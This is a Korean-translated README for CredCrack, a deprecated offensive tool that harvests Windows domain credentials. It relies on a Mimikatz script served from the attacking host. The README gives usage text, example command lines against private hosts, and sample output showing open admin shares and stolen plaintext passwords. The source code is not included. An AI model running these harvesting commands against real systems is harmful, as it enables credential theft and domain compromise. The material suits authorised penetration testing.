jobroche/credcrack빠르고 은밀한 자격 증명 수집기
⛔ [더 이상 사용되지 않음]. 이 저장소는 더 이상 유지 관리되지 않습니다. 대신 CrackMapExec를 사용해 주세요.
CredCrack는 빠르고 은밀한 자격 증명 수집기입니다. 메모리와 평문 상태에서 재귀적으로 자격 증명을 추출합니다. 완료되면 CredCrack은 자격 증명을 파싱하여 출력하고 획득한 도메인 관리자를 식별합니다. 또한 CredCrack은 공유 액세스를 나열하고 열거하는 기능도 제공하며, 네, 멀티스레드 방식으로 작동합니다!
CredCrack는 Kali Linux에 기본적으로 포함된 도구로 테스트되었으며 실행됩니다. CredCrack은 전적으로 /var/www 디렉토리 아래에 PowerSploit의 "Invoke-Mimikatz.ps1"이 있어야 합니다. 여기서 Invoke-Mimikatz 다운로드
usage: credcrack.py [-h] -d DOMAIN -u USER [-f FILE] [-r RHOST] [-es]
[-l LHOST] [-t THREADS]
CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny)
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE File containing IPs to harvest creds from. One IP per
line.
-r RHOST, --rhost RHOST
Remote host IP to harvest creds from.
-es, --enumshares Examine share access on the remote IP(s)
-l LHOST, --lhost LHOST
Local host IP to launch scans from.
-t THREADS, --threads THREADS
Number of threads (default: 10)
Required:
-d DOMAIN, --domain DOMAIN
Domain or Workstation
-u USER, --user USER Domain username
Examples:
./credcrack.py -d acme -u bob -f hosts -es
./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20
./credcrack.py -r 192.168.1.100 -d acme -u bob --es
Password:
---------------------------------------------------------------------
CredCrack v1.1 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100
-----------------------------------------------------------------
192.168.1.102 - Windows 7 Professional 7601 Service Pack 1
-----------------------------------------------------------------
OPEN \\192.168.1.102\ADMIN$
OPEN \\192.168.1.102\C$
-----------------------------------------------------------------
192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2
-----------------------------------------------------------------
OPEN \\192.168.1.103\ADMIN$
OPEN \\192.168.1.103\C$
CLOSED \\192.168.1.103\F$
-----------------------------------------------------------------
192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1
-----------------------------------------------------------------
CLOSED \\192.168.1.100\ADMIN$
CLOSED \\192.168.1.100\C$
OPEN \\192.168.1.100\NETLOGON
OPEN \\192.168.1.100\SYSVOL
[*] Done! Completed in 0.8s
./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:
---------------------------------------------------------------------
CredCrack v1.1 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103
The loot has arrived...
__________
/\____;;___\
| / /
`. ())oo() .
|\(%()*^^()^\
%| |-%-------|
% \ | % )) |
% \|%________|
[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!
1 domain administrators found and highlighted in yellow above!
[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s
질문이나 다음 업데이트에 포함되었으면 하는 기능이 있으면 @g0jhonny로 연락해 주세요. 버그는 이슈를 제출해 주세요!
CredCrack은 다음 개인들의 기여 없이는 불가능했을 것입니다. 여러분은 모두 록스타입니다! @JosephBialek, @brav0hax, @altonjx 그리고 모든 분들! 이 스크립트를 더 좋게 만들기 위한 여러분의 모든 기여와 피드백에 감사드립니다. 계속 보내주세요!